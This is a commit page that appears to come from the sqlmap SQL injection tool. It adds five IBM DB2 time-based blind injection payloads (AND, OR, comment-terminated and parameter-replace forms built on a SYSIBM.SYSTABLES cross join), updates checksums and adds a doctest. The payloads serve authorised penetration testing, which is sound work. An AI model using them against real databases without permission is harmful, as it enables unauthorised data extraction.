Skip to content

Commit da7f753

Browse files
Giardi77Giardi77
committed
feat(db2): add light time-based payloads
1 parent 89d6b94 commit da7f753

3 files changed

Lines changed: 104 additions & 2 deletions

File tree

‎data/txt/sha256sums.txt‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -82,7 +82,7 @@ d0b094a110bccec97d50037cc51445191561c0722ec53bf2cebe1521786e2451 data/xml/paylo
8282
53d0f29459f37248c320d5cb9960d432f46889696d27ae30cc3a3309fd6e026c data/xml/payloads/error_based.xml
8383
b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/payloads/inline_query.xml
8484
0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml
85-
997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml
85+
286f3033555d126c29deb3dd8b23ea396f56f5c021468ad685327202e017bab5 data/xml/payloads/time_blind.xml
8686
40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml
8787
8b63fda09d5c5e43ad8e6db1db90e5b1017fbe02735f3858843fc52118e3a33a data/xml/queries.xml
8888
0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS
@@ -205,7 +205,7 @@ c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/hand
205205
5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py
206206
1ad9054cd8476a520d4e2c141085ae45d94519df5c66f25fac41fe7d552ab952 lib/parse/html.py
207207
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/parse/__init__.py
208-
d2e771cdacef25ee3fdc0e0355b92e7cd1b68f5edc2756ffc19f75d183ba2c73 lib/parse/payloads.py
208+
3a7cb7774561a28949f8c6ef49e632b9ceb50bfd9d2946b6338f29968c2dfa38 lib/parse/payloads.py
209209
455ab0ec63e55cd56ce4a884b85bdc089223155008cab0f3696da5a33118f95b lib/parse/sitemap.py
210210
1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c lib/request/basicauthhandler.py
211211
132abf563aeaaf0108b7e3932cfcc9680c8f445e992de4ee71ceed1ddf60bc29 lib/request/basic.py

‎data/xml/payloads/time_blind.xml‎

Lines changed: 97 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -932,6 +932,84 @@
932932
</details>
933933
</test>
934934

935+
<test>
936+
<title>IBM DB2 AND time-based blind (light query)</title>
937+
<stype>5</stype>
938+
<level>3</level>
939+
<risk>2</risk>
940+
<clause>1,2,3,9</clause>
941+
<where>1</where>
942+
<vector>AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2 WHERE ([INFERENCE]))</vector>
943+
<request>
944+
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2)</payload>
945+
</request>
946+
<response>
947+
<time>[DELAYED]</time>
948+
</response>
949+
<details>
950+
<dbms>IBM DB2</dbms>
951+
</details>
952+
</test>
953+
954+
<test>
955+
<title>IBM DB2 OR time-based blind (light query)</title>
956+
<stype>5</stype>
957+
<level>3</level>
958+
<risk>3</risk>
959+
<clause>1,2,3,9</clause>
960+
<where>1</where>
961+
<vector>OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2 WHERE ([INFERENCE]))</vector>
962+
<request>
963+
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2)</payload>
964+
</request>
965+
<response>
966+
<time>[DELAYED]</time>
967+
</response>
968+
<details>
969+
<dbms>IBM DB2</dbms>
970+
</details>
971+
</test>
972+
973+
<test>
974+
<title>IBM DB2 AND time-based blind (light query - comment)</title>
975+
<stype>5</stype>
976+
<level>5</level>
977+
<risk>2</risk>
978+
<clause>1,2,3,9</clause>
979+
<where>1</where>
980+
<vector>AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2 WHERE ([INFERENCE]))</vector>
981+
<request>
982+
<payload>AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2)</payload>
983+
<comment>--</comment>
984+
</request>
985+
<response>
986+
<time>[DELAYED]</time>
987+
</response>
988+
<details>
989+
<dbms>IBM DB2</dbms>
990+
</details>
991+
</test>
992+
993+
<test>
994+
<title>IBM DB2 OR time-based blind (light query - comment)</title>
995+
<stype>5</stype>
996+
<level>5</level>
997+
<risk>3</risk>
998+
<clause>1,2,3,9</clause>
999+
<where>1</where>
1000+
<vector>OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2 WHERE ([INFERENCE]))</vector>
1001+
<request>
1002+
<payload>OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2)</payload>
1003+
<comment>--</comment>
1004+
</request>
1005+
<response>
1006+
<time>[DELAYED]</time>
1007+
</response>
1008+
<details>
1009+
<dbms>IBM DB2</dbms>
1010+
</details>
1011+
</test>
1012+
9351013
<test>
9361014
<title>IBM DB2 AND time-based blind (heavy query)</title>
9371015
<stype>5</stype>
@@ -1892,6 +1970,25 @@
18921970
</details>
18931971
</test>
18941972

1973+
<test>
1974+
<title>IBM DB2 time-based blind - Parameter replace (light query)</title>
1975+
<stype>5</stype>
1976+
<level>5</level>
1977+
<risk>2</risk>
1978+
<clause>1,2,3,9</clause>
1979+
<where>3</where>
1980+
<vector>(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2 WHERE ([INFERENCE]))</vector>
1981+
<request>
1982+
<payload>(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2)</payload>
1983+
</request>
1984+
<response>
1985+
<time>[DELAYED]</time>
1986+
</response>
1987+
<details>
1988+
<dbms>IBM DB2</dbms>
1989+
</details>
1990+
</test>
1991+
18951992
<test>
18961993
<title>IBM DB2 time-based blind - Parameter replace (heavy query)</title>
18971994
<stype>5</stype>

‎lib/parse/payloads.py‎

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -106,6 +106,11 @@ def loadPayloads():
106106
>>> loadPayloads()
107107
>>> len(conf.tests) > 0
108108
True
109+
>>> db2_light = [test for test in conf.tests if "IBM DB2" in test.get("title", "") and "light query" in test.get("title", "")]
110+
>>> len(db2_light)
111+
5
112+
>>> all("T3" not in test.request.payload for test in db2_light)
113+
True
109114
"""
110115

111116
for payloadFile in PAYLOAD_XML_FILES:

0 commit comments

Comments
 (0)